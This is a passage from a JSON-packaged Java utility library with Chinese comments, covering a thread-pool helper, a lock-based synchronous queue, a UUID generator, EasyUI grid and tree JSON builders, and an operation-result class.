{\n\t\tif(isRunning){\n\t\t\tlogger.warn(\"** 【\" + id + \"】线程 \" + name + \" 正在运行，请停止当前正在运行的线程或等待 **\");\n\t\t\treturn;\n\t\t}\n\t\tisRunning = true;\n\t\tcallCount ++;\n\t\tlong timesBefore = System.currentTimeMillis();\n\t\twork();\n\t\trunTimes.put(callCount, System.currentTimeMillis() - timesBefore);\n\t\tisRunning = false;\n\t}\n\t\n\t/**\n\t * 开始工作\n\t */\n\tpublic abstract void work();\n\t\n\t/**\n\t * 本线程是否正在运行\n\t * @return 是否运行\n\t */\n\tpublic boolean isRunning(){\n\t\treturn this.isRunning;\n\t}\n\t/**\n\t * 停止线程\n\t */\n\tpublic void stopRunning(){\n\t\tthis.isRunning = false;\n\t}\n\t\n\t/**\n\t * 获得已经运行的线程统计，包括已经运行的次数以及对应的运行时间\n\t * @return 已经运行的线程统计\n\t */\n\tpublic Map<Integer, Long> getRunTimes(){\n\t\treturn this.runTimes;\n\t}\n\t\n\t/**\n\t * 获得被调用的次数，包括当前正在运行的\n\t * @return 被调用的次数\n\t */\n\tpublic int getCallCount(){\n\t\treturn this.callCount;\n\t}\n\t\n\t/**\n\t * 自定义设置调用次数\n\t * @param callCount 调用次数\n\t */\n\tpublic void setCallCount(int callCount){\n\t\tthis.callCount = callCount;\n\t}\n\t\n\t/**\n\t * 线程ID\n\t * @return ID\n\t */\n\tpublic long getId() {\n\t\treturn id;\n\t}\n\t/**\n\t * 设置线程ID\n\t * @param id ID\n\t */\n\tpublic void setId(long id) {\n\t\tthis.id = id;\n\t}\n\n\t/**\n\t * 线程名称\n\t * @return 名称\n\t */\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\t/**\n\t * 设置线程名称\n\t * @param name 名称\n\t */\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\t\n\t@Override\n\tpublic int hashCode() {\n\t\treturn (int)id;\n\t}\n\n\t@Override\n\tpublic boolean equals(Object obj) {\n\t\tif(obj != null && obj instanceof BaseRunnable){\n\t\t\treturn this.id == ((BaseRunnable)obj).id;\n\t\t}\n\t\treturn false;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/threads/Executor.java",
    "content": "package com.jun.plugin.commons.util.threads;\n\nimport java.util.concurrent.Callable;\nimport java.util.concurrent.CompletionService;\nimport java.util.concurrent.ExecutorCompletionService;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.Future;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * 线程池工具\n * @author Wujun\n */\npublic class Executor {\n\tprivate static Logger logger = LoggerFactory.getLogger(Executor.class);\n\tprivate static ExecutorService executor = Executors.newCachedThreadPool();\n\n\t/**\n\t * 直接在公共线程池中执行线程\n\t * @param runnable 可运行对象\n\t */\n\tpublic static void execute(Runnable runnable) {\n\t\ttry {\n\t\t\texecutor.execute(runnable);\n\t\t} catch (Exception e) {\n\t\t\tlogger.error(\"Exception when running task: \" + e, e);\n\t\t}\n\t}\n\t\n\t/**\n\t * 重启公共线程池\n\t */\n\tpublic static void restart(){\n\t\texecutor.shutdownNow();\n\t\texecutor = Executors.newCachedThreadPool();\n\t}\n\t\n\t/**\n\t * 新建一个线程池\n\t * @param threadSize 同时执行的线程数大小\n\t * @return ExecutorService\n\t */\n\tpublic static ExecutorService newExecutor(int threadSize){\n\t\treturn Executors.newFixedThreadPool(threadSize);\n\t}\n\t\n\t/**\n\t * 获得一个新的线程池\n\t * @return ExecutorService\n\t */\n\tpublic static ExecutorService newExecutor(){\n\t\treturn Executors.newCachedThreadPool();\n\t}\n\t\n\t/**\n\t * 执行异步方法\n\t * @param runnable 需要执行的方法体\n\t * @return 执行的方法体\n\t */\n\tpublic static BaseRunnable excAsync(final BaseRunnable runnable, boolean isDeamon){\n\t\tThread thread = new Thread(){\n\t\t\t@Override\n\t\t\tpublic void run() {\n\t\t\t\trunnable.run();\n\t\t\t}\n\t\t};\n\t\tthread.setDaemon(isDeamon);\n\t\tthread.start();\n\t\t\n\t\treturn runnable;\n\t}\n\t\n\t/**\n\t * 执行有返回值的异步方法<br/>\n\t * Future代表一个异步执行的操作，通过get()方法可以获得操作的结果，如果异步操作还没有完成，则，get()会使当前线程阻塞\n\t * @return Future\n\t */\n\tpublic static <T> Future<T> execAsync(Callable<T> task){\n\t\treturn executor.submit(task);\n\t}\n\t\n\t/**\n\t * 新建一个CompletionService，调用其submit方法可以异步执行多个任务，最后调用take方法按照完成的顺序获得其结果。，若未完成，则会阻塞\n\t * @return CompletionService\n\t */\n\tpublic static<T> CompletionService<T> newCompletionService(){\n\t\treturn new ExecutorCompletionService<T>(executor);\n\t}\n\t\n\t/**\n\t * 新建一个CompletionService，调用其submit方法可以异步执行多个任务，最后调用take方法按照完成的顺序获得其结果。，若未完成，则会阻塞\n\t * @return CompletionService\n\t */\n\tpublic static<T> CompletionService<T> newCompletionService(ExecutorService executor){\n\t\treturn new ExecutorCompletionService<T>(executor);\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/threads/SyncQueue.java",
    "content": "package com.jun.plugin.commons.util.threads;\n\nimport java.util.concurrent.locks.Condition;\nimport java.util.concurrent.locks.ReentrantLock;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * 同步队列\n * \n * @author Wujun\n * \n * @param <E>\n */\npublic class SyncQueue<E> {\n\tprivate static Logger logger = LoggerFactory.getLogger(SyncQueue.class);\n\n\t/*--------------------------私有属性 start-------------------------------*/\n\t/** 队列条目 */\n\tprivate final E[] items;\n\t/** 获取对象的游标 */\n\tprivate int takeIndex;\n\t/** 加入对象的游标 */\n\tprivate int putIndex;\n\t/** 条目数目 */\n\tprivate int count;\n\t/** 队列结束标记 */\n\tprivate boolean isClosed;\n\n\t/** 主锁 */\n\tprivate final ReentrantLock lock;\n\t/** 入队列的条件锁 */\n\tprivate final Condition putCondition;\n\t/** 出队列的条件锁 */\n\tprivate final Condition takeCondition;\n\n\t/*--------------------------私有属性 end-------------------------------*/\n\n\t/*--------------------------构造器 start-------------------------------*/\n\t@SuppressWarnings(\"unchecked\")\n\tpublic SyncQueue(int capacity) {\n\t\tthis.items = (E[]) new Object[capacity];\n\t\tlock = new ReentrantLock(false);\n\t\ttakeCondition = lock.newCondition();\n\t\tputCondition = lock.newCondition();\n\t}\n\n\t/*--------------------------构造器 end-------------------------------*/\n\n\t/*--------------------------公有方法 start-------------------------------*/\n\t/**\n\t * 入队列。若队列已满，则阻塞线程\n\t * \n\t * @param item 项\n\t * @return 是否成功插入\n\t * @throws InterruptedException\n\t * @throws NullPointerException item为空时，抛出此异常\n\t */\n\tpublic boolean put(E item) throws InterruptedException {\n\t\tif (item == null)\n\t\t\tthrow new NullPointerException();\n\t\tif (isClosed) {\n\t\t\tlogger.warn(\"队列已经关闭，入队列失败！\");\n\t\t\treturn false;\n\t\t}\n\t\tlock.lockInterruptibly();\n\t\ttry {\n\t\t\ttry {\n\t\t\t\twhile (count == items.length) {\n\t\t\t\t\tputCondition.await();\n\t\t\t\t}\n\t\t\t} catch (InterruptedException ie) {\n\t\t\t\tputCondition.signal();\n\t\t\t\tthrow ie;\n\t\t\t}\n\t\t\tinsert(item);\n\t\t} finally {\n\t\t\tlock.unlock();\n\t\t}\n\t\treturn true;\n\t}\n\n\t/**\n\t * 出队列。若队列空，阻塞队列<br/>\n\t * 如果队列已经关闭，只有队列为空时才返回null\n\t * @return 项\n\t * @throws InterruptedException\n\t */\n\tpublic E take() throws InterruptedException {\n\t\tlock.lockInterruptibly();\n\t\ttry {\n\t\t\ttry {\n\t\t\t\twhile (count == 0) {\n\t\t\t\t\tif (isClosed)\n\t\t\t\t\t\treturn null;\n\t\t\t\t\ttakeCondition.await();\n\t\t\t\t}\n\t\t\t} catch (InterruptedException ie) {\n\t\t\t\ttakeCondition.signal();\n\t\t\t\tthrow ie;\n\t\t\t}\n\t\t\treturn extract();\n\t\t} finally {\n\t\t\tlock.unlock();\n\t\t}\n\t}\n\n\t/**\n\t * 队列中的项数\n\t * \n\t * @return 项数\n\t */\n\tpublic int size() {\n\t\tlock.lock();\n\t\ttry {\n\t\t\treturn count;\n\t\t} finally {\n\t\t\tlock.unlock();\n\t\t}\n\t}\n\n\t/**\n\t * 清空队列<br/>\n\t * 清空队列后，会重新唤醒所有阻塞的put线程\n\t */\n\tpublic void clear() {\n\t\tlock.lock();\n\t\ttry {\n\t\t\tint i = takeIndex;\n\t\t\tint k = count;\n\t\t\twhile (k-- > 0) {\n\t\t\t\titems[i] = null;\n\t\t\t\ti = inc(i);\n\t\t\t}\n\t\t\tcount = 0;\n\t\t\tputIndex = 0;\n\t\t\ttakeIndex = 0;\n\t\t\tisClosed = false;\n\t\t\tputCondition.signalAll();\n\t\t} finally {\n\t\t\tlock.unlock();\n\t\t}\n\t}\n\n\t/**\n\t * 唤醒所有出队列线程<br/>\n\t * 此方法多用于当队列关闭且队列中数据已空时，唤醒被阻塞的出队列线程，使其退出或执行其他动作\n\t */\n\tpublic void signalAllTake() {\n\t\tlock.lock();\n\t\ttry {\n\t\t\ttakeCondition.signalAll();\n\t\t} finally {\n\t\t\tlock.unlock();\n\t\t}\n\t}\n\t\n\t/**\n\t * 唤醒所有入队列线程<br/>\n\t * 此方法多用于队列关闭且队列已满，而再没有任何线程调用take方法时，唤醒阻塞的入队列线程。\n\t */\n\tpublic void signalAllput() {\n\t\tlock.lock();\n\t\ttry {\n\t\t\ttakeCondition.signalAll();\n\t\t} finally {\n\t\t\tlock.unlock();\n\t\t}\n\t}\n\n\t/**\n\t * 关闭队列<br/>\n\t * 关闭队列后，仍然可以出队列直到队列为空，但是无法将数据入队列。当队列数据为空后，出队列数据为null<br/>\n\t * 当关闭队列后，关闭标志将一直存在，除非执行clear()方法重置队列。\n\t */\n\tpublic void close() {\n\t\tthis.isClosed = true;\n\t}\n\n\t/**\n\t * 队列是否已经关闭\n\t * @return 是否已经关闭\n\t */\n\tpublic boolean isClosed() {\n\t\treturn this.isClosed;\n\t}\n\n\t/*--------------------------公有方法 end-------------------------------*/\n\n\t/*--------------------------私有方法 start-------------------------------*/\n\t/**\n\t * 循环队列增，若增加值超出数组范围，则返回到第一个项\n\t * \n\t * @param index 起始的位置\n\t */\n\tprivate final int inc(int index) {\n\t\treturn (++index == items.length) ? 0 : index;\n\t}\n\n\t/**\n\t * 插入条目（项）\n\t * @param item 项\n\t */\n\tprivate void insert(E item) {\n\t\titems[putIndex] = item;\n\t\tputIndex = inc(putIndex);\n\t\t++count;\n\t\t// 插入后唤醒等待take的线程\n\t\ttakeCondition.signal();\n\t}\n\n\t/**\n\t * 提取条目（项）\n\t * @return 项\n\t */\n\tprivate E extract() {\n\t\tif (count == 0)\n\t\t\treturn null;\n\n\t\tE x = items[takeIndex];\n\t\titems[takeIndex] = null;\n\t\ttakeIndex = inc(takeIndex);\n\t\t--count;\n\t\t// 提取后唤醒等待put的线程\n\t\tputCondition.signal();\n\t\treturn x;\n\t}\n\t/*--------------------------私有方法 end-------------------------------*/\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/uid/SimpleUidUtil.java",
    "content": "package com.jun.plugin.commons.util.uid;\n\nimport java.util.UUID;\n\npublic class SimpleUidUtil\n{\n\tpublic static String nextUid()\n\t{\n\t\treturn UUID.randomUUID().toString();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/web/EasyUiAssist.java",
    "content": "package com.jun.plugin.commons.util.web;\n\nimport java.lang.reflect.InvocationTargetException;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.commons.beanutils.BeanUtils;\nimport org.apache.commons.beanutils.PropertyUtils;\nimport org.apache.commons.collections.CollectionUtils;\nimport org.apache.commons.collections.Predicate;\nimport org.apache.commons.lang.ArrayUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.json.JSONArray;\n//import org.apache.tapestry5.json.JSONArray;\nimport org.mvel2.templates.TemplateRuntime;\n\nimport com.jun.plugin.commons.util.apiext.CollectionUtil;\nimport com.jun.plugin.commons.util.apiext.JSONUtil;\nimport com.jun.plugin.commons.util.apiext.ReflectAsset;\nimport com.jun.plugin.commons.util.apiext.StringUtil;\nimport com.jun.plugin.commons.util.assistbean.EasyUINode;\nimport com.jun.plugin.commons.util.assistbean.EasyUINodeConf;\nimport com.jun.plugin.commons.util.callback.IConvertValue;\nimport com.jun.plugin.commons.util.exception.ExceptAll;\nimport com.jun.plugin.commons.util.exception.ProjectException;\n\npublic abstract class EasyUiAssist {\n\n\t// {\"total\":28,\"rows\":[\n\t// {\"productid\":\"FI-SW-01\",\"productname\":\"Koi\",\"unitcost\":10.00,\"status\":\"P\",\"listprice\":36.50,\"attr1\":\"Large\",\"itemid\":\"EST-1\"},\n\t// {\"productid\":\"K9-DL-01\",\"productname\":\"Dalmation\",\"unitcost\":12.00,\"status\":\"P\",\"listprice\":18.50,\"attr1\":\"Spotted Adult Female\",\"itemid\":\"EST-10\"},\n\t// {\"productid\":\"RP-SN-01\",\"productname\":\"Rattlesnake\",\"unitcost\":12.00,\"status\":\"P\",\"listprice\":38.50,\"attr1\":\"Venomless\",\"itemid\":\"EST-11\"},\n\t// {\"productid\":\"RP-SN-01\",\"productname\":\"Rattlesnake\",\"unitcost\":12.00,\"status\":\"P\",\"listprice\":26.50,\"attr1\":\"Rattleless\",\"itemid\":\"EST-12\"},\n\t// ]}\n\t/***\n\t * 返回格式： {\"total\":12,\"rows\":[{\"itemCode\":\"checkNoPass\",\"itemName\":\"质检不通过\"},{\n\t * \"itemCode\":\"checkPass\",\"itemName\":\"质检通过\"}]}\n\t * \n\t * @param fromList\n\t *            要取的源数据\n\t * @param titles\n\t *            要取的标题，支持别名，如：new\n\t *            String[]{\"\"itemCode,itemCode\",\"itemName_zh,itemName\"\"}\n\t *            itemName_zh为是取值的列名,itemName要显示的列名\n\t * @param recordNum\n\t *            记录总数\n\t * @return\n\t */\n\tpublic static String getJsonForGrid(List<?> fromList, String[] titles,\n\t\t\tlong recordNum) {\n\t\tStringBuffer buff = new StringBuffer(\"{\\\"total\\\":\" + recordNum\n\t\t\t\t+ \",\\\"rows\\\":\");\n\t\tbuff.append(JSONUtil.getJsonForList(fromList, titles));\n\t\tbuff.append(\"}\");\n\t\treturn buff.toString();\n\t}\n\n\t/***\n\t * 可以自定义转换格式\n\t * \n\t * @param fromList\n\t * @param titles\n\t * @param converts\n\t * @param recordNum\n\t * @return\n\t */\n\tpublic static String getJsonForGrid(List<?> fromList, String[] titles,\n\t\t\tIConvertValue[] converts, long recordNum) {\n\t\tStringBuffer buff = new StringBuffer(\"{\\\"total\\\":\" + recordNum\n\t\t\t\t+ \",\\\"rows\\\":\");\n\t\tbuff.append(JSONUtil.getJsonForList(fromList, converts, titles));\n\t\tbuff.append(\"}\");\n\t\treturn buff.toString();\n\t}\n\n\tpublic static String getJsonForGrid(List<?> fromList, String[] titles,\n\t\t\tMap<String, IConvertValue> convertsMap, long recordNum) {\n\t\tStringBuffer buff = new StringBuffer(\"{\\\"total\\\":\" + recordNum\n\t\t\t\t+ \",\\\"rows\\\":\");\n\t\tbuff.append(JSONUtil.getJsonForList(fromList, convertsMap, titles));\n\t\tbuff.append(\"}\");\n\t\treturn buff.toString();\n\t}\n\n\t/****\n\t * 把数据以json格式返回，不需要指定已有字段。\n\t * \n\t * @param fromList\n\t * @param aliasTitles\n\t *            　别名列表\n\t * @param convertsMap\n\t *            别名转换字段\n\t * @param recordNum\n\t * @return\n\t */\n\tpublic static String getJsonForGridAlias(List<?> fromList,\n\t\t\tString[] aliasTitles, Map<String, IConvertValue> convertsMap,\n\t\t\tlong recordNum) {\n\t\tif (CollectionUtils.isEmpty(fromList)) {\n\t\t\treturn getJsonForGrid(fromList, new String[] {}, convertsMap, 0L);\n\t\t}\n\t\tObject object = fromList.get(0);\n\t\tString[] titles = null;\n\t\tif (ReflectAsset.isInterface(object.getClass(), \"java.util.Map\")) {\n\t\t\tMap temp = (Map) object;\n\t\t\ttitles = new String[temp.size()];\n\t\t\tint i = 0;\n\t\t\tfor (Object keyObj : temp.keySet()) {\n\t\t\t\ttitles[i++] = String.valueOf(keyObj);\n\t\t\t}\n\t\t} else {\n\t\t\tList<String> fields = ReflectAsset.findGetField(object.getClass());\n\t\t\ttitles = fields.toArray(new String[fields.size()]);\n\t\t}\n\t\tif (aliasTitles != null && aliasTitles.length > 0) {\n\t\t\ttitles = CollectionUtil.arrayMerge(titles, aliasTitles);\n\t\t}\n\t\treturn getJsonForGrid(fromList, titles, convertsMap, recordNum);\n\t}\n\n\t/****\n\t * 返回空的集合值\n\t * \n\t * @return\n\t */\n\tpublic static String getJsonForGridEmpty() {\n\t\treturn getJsonForGrid(null, new String[] {}, 0L);\n\t}\n\n\t/****\n\t * 把数据以json格式返回，不需要指定已有字段。\n\t * \n\t * @param fromList\n\t * @param recordNum\n\t * @return\n\t */\n\tpublic static String getJsonForGridAlias(List<?> fromList, long recordNum) {\n\t\treturn getJsonForGridAlias(fromList, null, null, recordNum);\n\t}\n\n\t/***\n\t * 指定数据放到Grid里显示\n\t * \n\t * @param inputObj\n\t * @return\n\t */\n\tpublic static String getJsonForGridByObj(Object... inputObj) {\n\t\tList retList = new ArrayList();\n\t\tif (ArrayUtils.isEmpty(inputObj)) {\n\t\t\treturn getJsonForGridAlias(retList, 0);\n\t\t}\n\t\tfor (Object eleObj : inputObj) {\n\t\t\tretList.add(eleObj);\n\t\t}\n\t\treturn getJsonForGridAlias(retList, retList.size());\n\t}\n\n\t/**\n\t * 把List转为Jquery select的model\n\t * \n\t * @param fromList\n\t *            要转为json的List\n\t * @param nameFiled\n\t *            label的字段名\n\t * @param codeFiled\n\t *            code的字段名\n\t * @param attrName\n\t *            属性字段名\n\t * @return String\n\t *         [{label:'男',value:'M'},{label:'女',value:'F'},{label:'未知',value:''\n\t *         } ]\n\t * @throws ProjectException\n\t * */\n\tpublic static String getJsonFromList(List<Object> fromList,\n\t\t\tString nameFiled, String codeFiled, String idName)\n\t\t\tthrows ProjectException {\n\t\tif (CollectionUtils.isEmpty(fromList) || StringUtil.isNull(nameFiled)\n\t\t\t\t|| StringUtil.isNull(codeFiled)) {\n\t\t\tthrow new ProjectException(ExceptAll.default_Param, \"要解析的参数错误\");\n\t\t}\n\t\tif (StringUtil.isNull(idName)) {\n\t\t\tidName = codeFiled;// 如果缺少ID则把code字段做为ＩＤ\n\t\t}\n\t\tString jsonTempStr = \"@['{label:\\\"'+\" + nameFiled + \"+'\\\",value:\\\"'+\"\n\t\t\t\t+ codeFiled + \"+'\\\",id:\\\"'+\" + idName + \"+'\\\"},']\";\n\t\tStringBuffer returnBuff = new StringBuffer();\n\t\tfor (Object object : fromList) {\n\t\t\treturnBuff.append(TemplateRuntime.eval(jsonTempStr, object));\n\t\t}\n\t\treturnBuff.delete(returnBuff.length() - 1, returnBuff.length());// 去除最后一个“,”\n\t\t// returnBuff.append(\"]}\");\n\t\treturn returnBuff.toString();\n\t}\n\n\t/****\n\t * 把根节点转为json Str字符串\n\t * \n\t * @param nodes\n\t *            根节点集合\n\t * @return\n\t */\n\tpublic static String getTreeFromList(EasyUINode... nodes) {\n\t\tString retstr = \"[]\";\n\t\tif (ArrayUtils.isEmpty(nodes)) {\n\t\t\treturn retstr;\n\t\t}\n\t\tJSONArray arry = new JSONArray();\n\t\tfor (EasyUINode easyUINode : nodes) {\n\t\t\tarry.put(easyUINode.toJson());\n\t\t}\n\t\treturn arry.toString();\n\t}\n\n\t/****\n\t * 把根节点转为json Str字符串\n\t * \n\t * @param nodes\n\t *            根节点集合\n\t * @return\n\t */\n\tpublic static String getTreeFromList(List<EasyUINode> nodes) {\n\t\tif (CollectionUtils.isEmpty(nodes)) {\n\t\t\treturn \"[]\";\n\t\t}\n\t\treturn getTreeFromList(nodes.toArray(new EasyUINode[nodes.size()]));\n\t}\n\n\t/****\n\t * 把List转为根节点集合\n\t * \n\t * @param oriList\n\t * @param conf\n\t * @return\n\t * @throws Exception\n\t */\n\tpublic static <T> List<EasyUINode> getTreeRoot(List<T> oriList,\n\t\t\tEasyUINodeConf conf) throws Exception {\n\t\tif (CollectionUtils.isEmpty(oriList) || conf == null) {\n\t\t\treturn new ArrayList<EasyUINode>();\n\t\t}\n\t\tList<EasyUINode> roots = new ArrayList<EasyUINode>();\n\t\tList<EasyUINode> nodes = new ArrayList<EasyUINode>();\n\t\tfor (Object oriObj : oriList) {\n\t\t\tString id = BeanUtils.getProperty(oriObj, conf.getIdCol());\n\t\t\tString text = BeanUtils.getProperty(oriObj, conf.getTextCol());\n\t\t\tif (conf.getTextConvert() != null) {\n\t\t\t\ttext = conf.getTextConvert().getStr(text);\n\t\t\t}\n\t\t\tString parentId = null;\n\t\t\ttry {\n\t\t\t\tparentId = BeanUtils.getProperty(oriObj, conf.getParentCol());\n\t\t\t} catch (Exception e) {\n\t\t\t}\n\t\t\tEasyUINode tempObj = new EasyUINode(id, text);\n\t\t\ttempObj.setParent(new EasyUINode(parentId));\n\t\t\tif (StringUtils.isNotBlank(conf.getIndexCol())) {\n\t\t\t\tObject indexObj = PropertyUtils.getProperty(oriObj,\n\t\t\t\t\t\tconf.getIndexCol());\n\t\t\t\tif (indexObj != null) {\n\t\t\t\t\ttempObj.setIndex(new Integer(String.valueOf(indexObj)));\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (StringUtils.isNotBlank(conf.getIconClsCol())) {\n\t\t\t\tif (conf.getIconClsCol().startsWith(\":\")) {\n\t\t\t\t\ttempObj.setIconCls(conf.getIconClsCol().substring(1));\n\t\t\t\t} else {\n\t\t\t\t\ttempObj.setIconCls(BeanUtils.getProperty(oriObj,\n\t\t\t\t\t\t\tconf.getIconClsCol()));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (StringUtils.isNotBlank(conf.getIsCloseCol())) {\n\t\t\t\ttempObj.setClose(getBoolean(conf.getIsCloseCol(), oriObj,\n\t\t\t\t\t\ttempObj));\n\t\t\t}\n\n\t\t\tif (CollectionUtils.isNotEmpty(conf.getCheckedList())) {// 以getCheckedList为主\n\t\t\t\tif (conf.getCheckedList().contains(id))\n\t\t\t\t\ttempObj.setChecked(true);\n\t\t\t\telse\n\t\t\t\t\ttempObj.setChecked(false);\n\t\t\t} else if (StringUtils.isNotBlank(conf.getCheckedCol())) {// 不是Checklist机制则考虑从对象列存放机制\n\t\t\t\ttempObj.setChecked(getBoolean(conf.getCheckedCol(), oriObj,\n\t\t\t\t\t\ttempObj));\n\t\t\t}\n\n\t\t\t// 附加属性\n\t\t\tif (org.apache.commons.lang3.ArrayUtils.isNotEmpty(conf\n\t\t\t\t\t.getAttrCols())) {\n\t\t\t\tfor (String attrCol : conf.getAttrCols()) {\n\t\t\t\t\tString attrValue = BeanUtils.getProperty(oriObj, attrCol);\n\t\t\t\t\ttempObj.addAttributes(attrCol, attrValue);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (StringUtils.isBlank(parentId)) {\n\t\t\t\ttempObj.setParent(null);\n\t\t\t\troots.add(tempObj);\n\t\t\t} else if (conf.getIsRoot() != null\n\t\t\t\t\t&& conf.getIsRoot().evaluate(parentId)) {\n\t\t\t\ttempObj.setParent(null);\n\t\t\t\troots.add(tempObj);\n\t\t\t} else {\n\t\t\t\tnodes.add(tempObj);\n\t\t\t}\n\t\t}\n\t\tif (CollectionUtils.isNotEmpty(nodes)) {\n\t\t\tpackNode(roots, nodes);\n\t\t}\n\t\treturn roots;\n\t}\n\n\tprivate static boolean getBoolean(String valueCol, Object oriObj,\n\t\t\tEasyUINode tempObj) throws IllegalAccessException,\n\t\t\tInvocationTargetException, NoSuchMethodException {\n\t\tObject isCloseObj = PropertyUtils.getProperty(oriObj, valueCol);\n\t\tString isCloseStr = String.valueOf(isCloseObj);\n\t\tif (\"true\".equals(isCloseStr) || \"yes\".equalsIgnoreCase(isCloseStr)\n\t\t\t\t|| \"y\".equals(isCloseStr) || \"1\".equals(isCloseStr)) {\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}\n\n\tprivate static void packNode(List<EasyUINode> parentNodes,\n\t\t\tList<EasyUINode> nodes) {\n\t\tif (CollectionUtils.isNotEmpty(parentNodes)\n\t\t\t\t&& CollectionUtils.isNotEmpty(nodes)) {\n\t\t\tfinal List<String> rootIds = (List<String>) CollectionUtil\n\t\t\t\t\t.getColFromObj(parentNodes, \"id\");\n\t\t\tList<EasyUINode> selNodes = (List<EasyUINode>) CollectionUtils\n\t\t\t\t\t.select(nodes, new Predicate() {\n\t\t\t\t\t\t@Override\n\t\t\t\t\t\tpublic boolean evaluate(Object object) {\n\t\t\t\t\t\t\tEasyUINode tempObj = (EasyUINode) object;\n\t\t\t\t\t\t\treturn rootIds\n\t\t\t\t\t\t\t\t\t.contains(tempObj.getParent().getId());\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\tif (CollectionUtils.isNotEmpty(selNodes)) {\n\t\t\t\tfor (final EasyUINode parentNode : parentNodes) {\n\t\t\t\t\tList<EasyUINode> rootSel = (List<EasyUINode>) CollectionUtils\n\t\t\t\t\t\t\t.select(selNodes, new Predicate() {\n\t\t\t\t\t\t\t\t@Override\n\t\t\t\t\t\t\t\tpublic boolean evaluate(Object object) {\n\t\t\t\t\t\t\t\t\tEasyUINode tmpObj = (EasyUINode) object;\n\t\t\t\t\t\t\t\t\treturn parentNode.getId().equals(\n\t\t\t\t\t\t\t\t\t\t\ttmpObj.getParent().getId());\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t});\n\t\t\t\t\tparentNode.addChildres(rootSel);\n\t\t\t\t}\n\t\t\t\tnodes.removeAll(selNodes);\n\t\t\t\tpackNode(selNodes, nodes);\n\t\t\t} else {\n\t\t\t\tnodes.clear();\n\t\t\t}\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/web/OperateResult.java",
    "content": "package com.jun.plugin.commons.util.web;\n\nimport org.json.JSONObject;\n\nimport com.jun.plugin.commons.util.apiext.StringUtil;\nimport com.jun.plugin.commons.util.callback.IConvertValue;\nimport com.jun.plugin.commons.util.exception.ProjectException;\n\n/**\n * 操作返回的对象\n * */\npublic class OperateResult {\n\tprivate int result;// 1:正确,0:出错\n\tprivate String message = \"\";\n\tprivate String jsonMsg;\n\tprivate ProjectException opeExcept;\n\tprivate Object[] retObjs;// 操作成功后，如果想带一些返回值在此设置\n\n\t/**\n\t * 由异常来构建返回结果\n\t * */\n\tpublic OperateResult(ProjectException opeExcept) {\n\t\tthis.result = 0;// 发生异常返回结果肯定为０\n\t\tthis.opeExcept = opeExcept;\n\t\tif (opeExcept != null) {\n\t\t\tthis.message = opeExcept.getErrorMessage();\n\t\t}\n\t}\n\n\tpublic boolean isSuc() {\n\t\treturn result == 1;\n\t}\n\n\tpublic OperateResult(int result, ProjectException opeExcept) {\n\t\tthis.result = result;\n\t\tthis.opeExcept = opeExcept;\n\t\tif (opeExcept != null) {\n\t\t\tthis.message = opeExcept.getErrorMessage();\n\t\t}\n\t}\n\n\tpublic OperateResult(int result, String message) {\n\t\tthis.result = result;\n\t\tthis.message = message;\n\t}\n\n\tpublic OperateResult(int result) {\n\t\tthis.result = result;\n\t}\n\n\tpublic int getResult() {\n\t\treturn result;\n\t}\n\n\tpublic void setResult(int result) {\n\t\tthis.result = result;\n\t}\n\n\t/****\n\t * 国际化\n\t * @param locale\n\t * @return\n\t */\n\tpublic String getMessage(IConvertValue convertValue) {\n\t\tif(convertValue==null){\n\t\t\treturn message;\n\t\t}\n\t\treturn convertValue.getStr(message);\n\t}\n\n\tpublic void setMessage(String message) {\n\t\tthis.message = message;\n\t}\n\n\tpublic ProjectException getOpeExcept() {\n\t\treturn opeExcept;\n\t}\n\n\tpublic void setOpeExcept(ProjectException opeExcept) {\n\t\tthis.opeExcept = opeExcept;\n\t}\n\n\tpublic String getJsonMsg(IConvertValue convertValue) {\n\t\tif (StringUtil.isNull(jsonMsg)) {\n\t\t\t// 有些场景返回的是JSON，当中有双引号,需要转义\n\t\t\tString temp = getMessage(convertValue);\n\t\t\tif(StringUtil.isNotNull(temp)){\n\t\t\t\ttemp = temp.replace(\"\\\"\", \"\\\\\\\"\");\n\t\t\t}\n\t\t\tjsonMsg = \"{\\\"result\\\":\" + result + \",\\\"msg\\\":\\\"\" + temp + \"\\\"}\";\n\t\t}\n\t\treturn jsonMsg;\n\t}\n\t\n\tpublic JSONObject getJsonObj(){\n//\t\treturn new JSONObject(\"result\",result,\"msg\",message);\n\t\treturn new JSONObject(\"result\");\n\t}\n\n\tpublic void setJsonMsg(String jsonMsg) {\n\t\tthis.jsonMsg = jsonMsg;\n\t}\n\n\tpublic Object[] getRetObjs() {\n\t\treturn retObjs;\n\t}\n\n\tpublic Object getRetObj(int index) {\n\t\tif (retObjs == null || retObjs.length <= index) {\n\t\t\treturn null;\n\t\t}\n\t\treturn retObjs[index];\n\t}\n\n\tpublic void setRetObjs(Object[] retObjs) {\n\t\tthis.retObjs = retObjs;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/web/PageAssist.java",
